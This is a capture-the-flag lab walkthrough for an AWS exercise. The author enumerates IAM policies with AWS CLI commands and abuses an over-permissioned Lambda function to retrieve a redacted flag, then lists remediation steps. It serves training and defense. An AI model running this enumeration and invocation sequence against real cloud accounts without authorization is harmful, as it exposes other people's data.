Lambda Escalation Walkthrough
Lab Info
Section titled “Lab Info”Lab Name: Lambda Escalation
Platform: Infinity Learning
We start as developer1 and inspect the attached policies. We can invoke Bucket-mgmgt-Function, which returns the target data using its execution role’s access.
Initial Access:
We are given the AWS credentials of an employee.
AWS Resources:
The environment contains IAM users, roles, policies, S3 buckets, and a Lambda function.
Hidden Flag:
The flag is hidden in one of these resources.
Your Task:
Section titled “Your Task:”- Enumerate AWS IAM resources (users, roles, policies, and attached permissions).
- Analyze Lambda function permissions and exploit any misconfigurations.
- Invoke Lambda functions to escalate privileges and retrieve the flag hidden in the system.
Attack Flow
Section titled “Attack Flow”
1. Initial Access & Enumeration
Section titled “1. Initial Access & Enumeration”1.1 Initial Access Credentials
Section titled “1.1 Initial Access Credentials”Access Key ID:[REDACTED_ACCESS_KEY]Secret Access Key:[REDACTED_SECRET_KEY]Configure AWS credentials
aws configure --profile lambdaAWS Access Key ID [None]: [REDACTED_ACCESS_KEY]AWS Secret Access Key [None]: [REDACTED_SECRET_KEY]Default region name [None]: us-east-1Default output format [json]: jsonCaller Identity Output:
aws sts get-caller-identity --profile lambda{ "UserId": "AIDAQ3EGUZMEQI6PURZBE", "Account": "058264439561", "Arn": "arn:aws:iam::058264439561:user/developer1"}- Username: developer1
1.2 IAM Enumeration
Section titled “1.2 IAM Enumeration”List managed user policies for developer1
aws iam list-attached-user-policies --profile lambda --user-name developer1{ "AttachedPolicies": [ { "PolicyName": "ListUserPoliciesPolicy", "PolicyArn": "arn:aws:iam::058264439561:policy/ListUserPoliciesPolicy" }, { "PolicyName": "LambdaInvokePolicy", "PolicyArn": "arn:aws:iam::058264439561:policy/LambdaInvokePolicy" } ]}- Two managed policies are attached to developer1. We can inspect both.
Retrieve the managed policy ListUserPoliciesPolicy
aws iam get-policy --policy-arn arn:aws:iam::058264439561:policy/ListUserPoliciesPolicy --profile lambda{ "Policy": { "PolicyName": "ListUserPoliciesPolicy", "PolicyId": "ANPAQ3EGUZME6K77LHU2K", "Arn": "arn:aws:iam::058264439561:policy/ListUserPoliciesPolicy", "Path": "/", "DefaultVersionId": "v1", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "Allow user to list and get their own IAM policies", "CreateDate": "2024-11-04T09:48:12+00:00", "UpdateDate": "2024-11-04T09:48:12+00:00", "Tags": [] }}- The description says: “Allow user to list and get their own IAM policies.” We check the policy permissions to confirm.
Check the permissions assigned to ListUserPoliciesPolicy
{ "PolicyVersion": { "Document": { "Statement": [ { "Action": [ "iam:ListAttachedUserPolicies" ], "Effect": "Allow", "Resource": "arn:aws:iam::058264439561:user/developer1" }, { "Action": [ "s3:ListAllMyBuckets" ], "Effect": "Allow", "Resource": "*" } ], "Version": "2012-10-17" }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2024-11-04T09:48:12+00:00" }}- We found permission to list any S3 bucket and the policies attached to
developer1. We checkLambdaInvokePolicynext.
Retrieve the Managed Policy for LambdaInvokePolicy
aws iam get-policy --policy-arn arn:aws:iam::058264439561:policy/LambdaInvokePolicy --profile lambda{ "Policy": { "PolicyName": "LambdaInvokePolicy", "PolicyId": "ANPAQ3EGUZME4QXYT3FWQ", "Arn": "arn:aws:iam::058264439561:policy/LambdaInvokePolicy", "Path": "/", "DefaultVersionId": "v1", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "CreateDate": "2024-11-04T09:48:37+00:00", "UpdateDate": "2024-11-04T09:48:37+00:00", "Tags": [] }}Check the permissions assigned to LambdaInvokePolicy
aws iam get-policy-version --policy-arn arn:aws:iam::058264439561:policy/LambdaInvokePolicy --version-id v1 --profile lambda{ "PolicyVersion": { "Document": { "Statement": [ { "Action": [ "lambda:InvokeFunction", "iam:GetUserPolicy", "iam:GetPolicyVersion", "iam:GetPolicy" ], "Effect": "Allow", "Resource": [ "arn:aws:lambda:us-east-1:058264439561:function:Bucket-mgmgt-Function", "arn:aws:iam::058264439561:policy/ListUserPoliciesPolicy", "arn:aws:iam::058264439561:policy/LambdaInvokePolicy" ] } ], "Version": "2012-10-17" }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2024-11-04T09:48:37+00:00" }}- The
developer1user can invoke a function and read managed policy permissions, which we have already checked. - We can invoke
Bucket-mgmgt-Functionusing these permissions.
2. Abusing Misconfiguration
Section titled “2. Abusing Misconfiguration”We invoke the Lambda function using the misconfigured permissions.
aws lambda invoke --function-name Bucket-mgmgt-Function output.json --region us-east-1 --profile lambda{ "StatusCode": 200, "ExecutedVersion": "$LATEST"}cat output.json| jq{ "statusCode": 200, "body": "\"[default]\\r\\nregion = us-east-1\\r\\noutput = json\\r\\n\\r\\n[profile dev]\\r\\nregion = us-west-2\\r\\noutput = json\\r\\n# This is the dev profile for AWS access.\\r\\n# [REDACTED_FLAG]\\r\\n\\r\\n[profile test]\\r\\nregion = eu-west-1\\r\\noutput = text\\r\\n# This is the test profile for testing environment configurations.\\r\\n\\r\\n[profile prod]\\r\\nregion = ap-southeast-1\\r\\noutput = json\\r\\n# This is the production profile for AWS access. Make sure to use with caution.\\r\\n\""}Flag found: [REDACTED_FLAG]
Note: We also had permission to list the S3 bucket, but didn’t need it. Invoking the misconfigured Lambda function gave us the flag. CWL rates this lab as medium, though I found it easy.
3. What the result proves
Section titled “3. What the result proves”We retrieve the flag through the Lambda response without changing our IAM policies or becoming an administrator. The function uses its execution role to read sensitive data and returns it to a caller who should not have that access.
4. Remediation Steps
Section titled “4. Remediation Steps”- Restrict Lambda invocation so only trusted roles can execute the function.
- Remove unnecessary IAM permissions and enforce strict least-privilege for all users.
- Ensure Lambda functions never return sensitive data and store secrets securely.
- Enable CloudTrail and monitoring alerts to detect suspicious IAM or Lambda activity.